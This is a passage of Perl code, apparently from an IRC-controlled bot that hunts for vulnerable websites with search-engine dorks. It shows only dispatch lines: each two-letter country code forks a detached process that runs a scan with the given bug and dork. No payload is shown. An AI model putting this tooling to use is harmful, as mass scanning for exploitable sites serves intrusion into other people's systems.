        if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bd",$type,$nick,$id); } exit; } }
        if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bz",$type,$nick,$id); } exit; } }
        if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bo",$type,$nick,$id); } exit; } }
        if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ba",$type,$nick,$id); } exit; } }
        if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vg",$type,$nick,$id); } exit; } }
        if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bg",$type,$nick,$id); } exit; } }
        if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bi",$type,$nick,$id); } exit; } }
        if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"co",$type,$nick,$id); } exit; } }
        if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cd",$type,$nick,$id); } exit; } }
        if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cg",$type,$nick,$id); } exit; } }
        if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ck",$type,$nick,$id); } exit; } }
        if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cr",$type,$nick,$id); } exit; } }
        if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"hr",$type,$nick,$id); } exit; } }
        if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cu",$type,$nick,$id); } exit; } }
        if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ci",$type,$nick,$id); } exit; } }
        if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dj",$type,$nick,$id); } exit; } }
        if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dm",$type,$nick,$id); } exit; } }
        if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"do",$type,$nick,$id); } exit; } }
        if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ec",$type,$nick,$id); } exit; } }
        if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"eg",$type,$nick,$id); } exit; } }
        if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sv",$type,$nick,$id); } exit; } }
        if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ee",$type,$nick,$id); } exit; } }
        if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"et",$type,$nick,$id); } exit; } }
        if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fj",$type,$nick,$id); } exit; } }
        if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fi",$type,$nick,$id); } exit; } }
        if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gm",$type,$nick,$id); } exit; } }
        if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gi",$type,$nick,$id); } exit; } }
        if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gr",$type,$nick,$id); } exit; } }
        if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gl",$type,$nick,$id); } exit; } }
        if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gt",$type,$nick,$id); } exit; } }
        if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gg",$type,$nick,$id); } exit; } }
        if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ht",$type,$nick,$id); } exit; } }
        if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"hn",$type,$nick,$id); } exit; } }
        if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"hk",$type,$nick,$id); } exit; } }
        if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"is",$type,$nick,$id); } exit; } }
        if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ie",$type,$nick,$id); } exit; } }
        if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"im",$type,$nick,$id); } exit; } }
        if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"je",$type,$nick,$id); } exit; } }
        if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"jo",$type,$nick,$id); } exit; } }
        if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kz",$type,$nick,$id); } exit; } }
        if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ke",$type,$nick,$id); } exit; } }
        if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ir",$type,$nick,$id); } exit; } }
        if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vn",$type,$nick,$id); } exit; } }
        if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kg",$type,$nick,$id); } exit; } }
        if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lv",$type,$nick,$id); } exit; } }
        if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ls",$type,$nick,$id); } exit; } }
        if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ly",$type,$nick,$id); } exit; } }
        if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"li",$type,$nick,$id); } exit; } }
        if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lt",$type,$nick,$id); } exit; } }
        if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lu",$type,$nick,$id); } exit; } }
        if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mw",$type,$nick,$id); } exit; } }
        if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mt",$type,$nick,$id); } exit; } }
        if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mu",$type,$nick,$id); } exit; } }
        if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fm",$type,$nick,$id); } exit; } }
        if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mn",$type,$nick,$id); } exit; } }
        if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ms",$type,$nick,$id); } exit; } }
        if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ma",$type,$nick,$id); } exit; } }
        if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"na",$type,$nick,$id); } exit; } }  
        if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"np",$type,$nick,$id); } exit; } }
        if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nz",$type,$nick,$id); } exit; } }
        if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ni",$type,$nick,$id); } exit; } }
        if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nf",$type,$nick,$id); } exit; } }
        if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"no",$type,$nick,$id); } exit; } }
        if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"om",$type,$nick,$id); } exit; } }
        if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pk",$type,$nick,$id); } exit; } }
        if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pa",$type,$nick,$id); } exit; } }
        if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"py",$type,$nick,$id); } exit; } }
        if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pe",$type,$nick,$id); } exit; } }
        if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pn",$type,$nick,$id); } exit; } }
        if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pt",$type,$nick,$id); } exit; } }
        if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pr",$type,$nick,$id); } exit; } }
        if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"qa",$type,$nick,$id); } exit; } }
        if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"rw",$type,$nick,$id); } exit; } }
        if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sh",$type,$nick,$id); } exit; } }
        if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sm",$type,$nick,$id); } exit; } }
        if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sa",$type,$nick,$id); } exit; } }
        if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sn",$type,$nick,$id); } exit; } }
        if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sc",$type,$nick,$id); } exit; } }
        if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sg",$type,$nick,$id); } exit; } }
        if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sk",$type,$nick,$id); } exit; } }
        if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"za",$type,$nick,$id); } exit; } }
        if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lk",$type,$nick,$id); } exit; } }
        if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vc",$type,$nick,$id); } exit; } }
        if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"se",$type,$nick,$id); } exit; } }
        if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ch",$type,$nick,$id); } exit; } }
        if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tw",$type,$nick,$id); } exit; } }
        if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tj",$type,$nick,$id); } exit; } }
        if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bs",$type,$nick,$id); } exit; } }
        if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"to",$type,$nick,$id); } exit; } }
        if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tt",$type,$nick,$id); } exit; } }
        if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tr",$type,$nick,$id); } exit; } }
        if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tm",$type,$nick,$id); } exit; } }
        if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vi",$type,$nick,$id); } exit; } }
        if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ug",$type,$nick,$id); } exit; } }
        if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"uy",$type,$nick,$id); } exit; } }
        if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"uz",$type,$nick,$id); } exit; } }
        if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ve",$type,$nick,$id); } exit; } }
        if ($engine =~ /vm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vm",$type,$nick,$id); } exit; } }
        if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"zm",$type,$nick,$id); } exit; } }
        if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ws",$type,$nick,$id); } exit; } }
        if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"af",$type,$nick,$id); } exit; } }
        if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ax",$type,$nick,$id); } exit; } }
        if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"al",$type,$nick,$id); } exit; } }
        if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dz",$type,$nick,$id); } exit; } }
        if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ao",$type,$nick,$id); } exit; } }
        if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"aq",$type,$nick,$id); } exit; } }
        if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"am",$type,$nick,$id); } exit; } }
        if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"aw",$type,$nick,$id); } exit; } }  
        if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ac",$type,$nick,$id); } exit; } }
        if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bj",$type,$nick,$id); } exit; } }
        if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bm",$type,$nick,$id); } exit; } }
        if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bt",$type,$nick,$id); } exit; } }
        if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bw",$type,$nick,$id); } exit; } }
        if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"io",$type,$nick,$id); } exit; } }
        if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bn",$type,$nick,$id); } exit; } }
        if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bf",$type,$nick,$id); } exit; } }
        if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kh",$type,$nick,$id); } exit; } }
        if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cm",$type,$nick,$id); } exit; } }
        if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cv",$type,$nick,$id); } exit; } }
        if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ky",$type,$nick,$id); } exit; } }
        if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cf",$type,$nick,$id); } exit; } }
        if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cx",$type,$nick,$id); } exit; } }
        if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cw",$type,$nick,$id); } exit; } }
        if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cy",$type,$nick,$id); } exit; } }
        if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fk",$type,$nick,$id); } exit; } }
        if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fo",$type,$nick,$id); } exit; } }
        if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gh",$type,$nick,$id); } exit; } }
        if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gd",$type,$nick,$id); } exit; } }
        if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gp",$type,$nick,$id); } exit; } }
        if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gu",$type,$nick,$id); } exit; } }
        if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gn",$type,$nick,$id); } exit; } }
        if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gy",$type,$nick,$id); } exit; } }
        if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"hm",$type,$nick,$id); } exit; } }
        if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"iq",$type,$nick,$id); } exit; } }
        if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"jm",$type,$nick,$id); } exit; } }
        if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ki",$type,$nick,$id); } exit; } }
        if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kw",$type,$nick,$id); } exit; } }
        if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"la",$type,$nick,$id); } exit; } }
        if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lb",$type,$nick,$id); } exit; } }
        if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lr",$type,$nick,$id); } exit; } }
        if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mo",$type,$nick,$id); } exit; } }
        if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mg",$type,$nick,$id); } exit; } }
        if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mv",$type,$nick,$id); } exit; } }
        if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mp",$type,$nick,$id); } exit; } }
        if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mq",$type,$nick,$id); } exit; } }
        if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mr",$type,$nick,$id); } exit; } }
        if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"yt",$type,$nick,$id); } exit; } }
        if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"md",$type,$nick,$id); } exit; } }
        if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mc",$type,$nick,$id); } exit; } }
        if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"me",$type,$nick,$id); } exit; } }
        if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mz",$type,$nick,$id); } exit; } }
        if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nr",$type,$nick,$id); } exit; } }
        if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nc",$type,$nick,$id); } exit; } }
        if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ng",$type,$nick,$id); } exit; } }
        if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nu",$type,$nick,$id); } exit; } }
        if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pw",$type,$nick,$id); } exit; } }
        if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ps",$type,$nick,$id); } exit; } }
        if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cq",$type,$nick,$id); } exit; } }  
        if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"re",$type,$nick,$id); } exit; } }
        if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lc",$type,$nick,$id); } exit; } }
        if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pm",$type,$nick,$id); } exit; } }
        if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"st",$type,$nick,$id); } exit; } }
        if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"rs",$type,$nick,$id); } exit; } }
        if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gs",$type,$nick,$id); } exit; } }
        if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sl",$type,$nick,$id); } exit; } }
        if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sx",$type,$nick,$id); } exit; } }
        if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sb",$type,$nick,$id); } exit; } }
        if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"so",$type,$nick,$id); } exit; } }
        if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"su",$type,$nick,$id); } exit; } }
        if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kn",$type,$nick,$id); } exit; } }
        if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sr",$type,$nick,$id); } exit; } }
